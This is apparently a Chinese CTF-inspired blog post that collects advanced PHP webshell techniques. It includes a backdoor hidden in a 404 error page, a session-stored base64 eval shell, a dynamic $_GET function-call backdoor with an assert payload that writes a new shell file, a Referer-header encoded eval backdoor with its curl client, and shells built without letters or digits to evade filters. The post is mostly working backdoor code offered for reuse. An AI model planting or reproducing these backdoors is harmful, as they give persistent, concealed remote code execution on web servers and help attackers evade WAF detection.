做了一期湖湘杯,有一道专门利用webshell构造的题目,觉得还是挺受启发的,2333
前面专门总结过简单的常用的webshell,虽然不全但是很多比赛也是够用了,但是这里就是不行啦!
http://blog.youkuaiyun.com/qq_35078631/article/details/77743794
下面讲一下集中比较高级一些的webshell的制作方法,主要还是PHP的,其中包括一些小的思路、也包括一些独特的方法,当然很少是我自己的东西,主要还是整理一下
1.利用404页面隐藏PHP小马
这个不算是什么技术,只是一种思想,404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
2.无特征隐藏PHP一句话
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
这个是摘录freebuf中的,至于为什么是无特征的也不太明白,可能是一直利用session隐藏了内容,达到了长时间驻留而不用每次都需要发送post包吧,算是流量的隐藏。
3.最灵活的PHP后门
<?php $_GET[a]($_GET[b]);?>
非常明显了,连函数都是自己输入的,可以做很多事情了。
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
这里注意的,其实对于$_GET[‘a’]是不可以用eval,它会报错显示未知命令eval,一定要用assert,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,或者如下利用
_=assert
&__=eval($_POST['pass'])
&pass=system('ls ../flag.php')
4.层级请求,编码运行PHP后门
也是参考了freebuf的文章,这里也算是一种思想吧,主要运用了两点
第一、运行的是一个编码过的字符串解码的内容,隐藏关键字
第二、构建层次关系,利用session或者其他的http头部的传送参数方式做到隐蔽传参或者是绕过传参
如下
1.php
<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
2.php
<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。
5.构造不带字母和数字的shell(方法一)
过滤程序
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
这是这篇的重点开始,这里也是简单的一种方法,中心点在一下几点
1.利用$_等等可以构造变量
2.利用抑或等等运算可以构造目标名,
废话不多说,构造如下
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
6.构造不带字母和数字的shell(方法二)
第二种方法和第一种的思路大致相同,但是nb在哪儿呢,方法二使用的是位运算里的“取反”利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和’{2}的结果是”\x8c”,其取反即为字母s,是不是被吓到啦!
这个方法容易报错,我就没试成,但是思路真的是厉害了
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
post内容
2=(输入内容)
试了大半夜总结出的比较使用的脚本
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
#$___="腊";$____.=~($___{$_});#O
#$___="毛";$____.=~($___{$_});#T
#$___="珊";$____.=~($___{$_});#E
#$___="站";$____.=~($___{$_});#A
#$___="朝";$____.=~($___{$_});#P
#$___="宅";$____.=~($___{$_});#S
#$___="愿";$____.=~($___{$_});#G
#$___="钩";$____.=~($___{$_});#L
#$___="讯";$____.=~($___{$_});#I
#$___="胤";$____.=~($___{$_});#H
#$___="雪";$____.=~($___{$_});#V
#$___="哀";$____.=~($___{$_});#X
#$___="铜";$____.=~($___{$_});#R
$___="站";$____.=~($___{$_});#A
$___="宅";$____.=~($___{$_});#S
$___="宅";$____.=~($___{$_});#S
$___="珊";$____.=~($___{$_});#E
$___="铜";$____.=~($___{$_});#R
$___="毛";$____.=~($___{$_});#T
$_____='';
$___="朝";$_____.=~($___{$_});#P
$___="腊";$_____.=~($___{$_});#O
$___="宅";$_____.=~($___{$_});#S
$___="毛";$_____.=~($___{$_});#T
$____(${'_'.$_____}[_]);
post内容如下
7.构造不带字母和数字的shell(方法三)
最最严格的过滤!我们看一个题目
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['content'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['content'];
$black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', '|', '~');
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("关键字WAF");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>shell</a></br>";
echo "我的/flag,你读到了么";
}else{
echo "噢 噢,错了";
}
厉害了,这下没过滤的很少的,重点是存在如下符号可以养
= $ _ + ' ( ) [ ] { }等等
我们列举几个重要的点!我们重点关注一下3号!
1.A可以用++进行计算,A++之后就是B
2.字符++后变成了0,如''+0=0(int)
3.''.[]之后报错返回的信息是Array,取0号位可以得到A,结合第一点可以构造POST了。加上[]{}.没有过滤即可构造
利用代码如下
<?php
$_=''.[];
$__='';
$__=$_++;
$_=$_[$__];
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$___=$_;
$_++;
$__=$_;
$_++;$_++;$_++;
$____=$_;
$_++;
${'_'.$__.$___.$____.$_}['_'](${'_'.$__.$___.$____.$_}['__']);#$_POST['_']($POST['__']);
?>
构造如下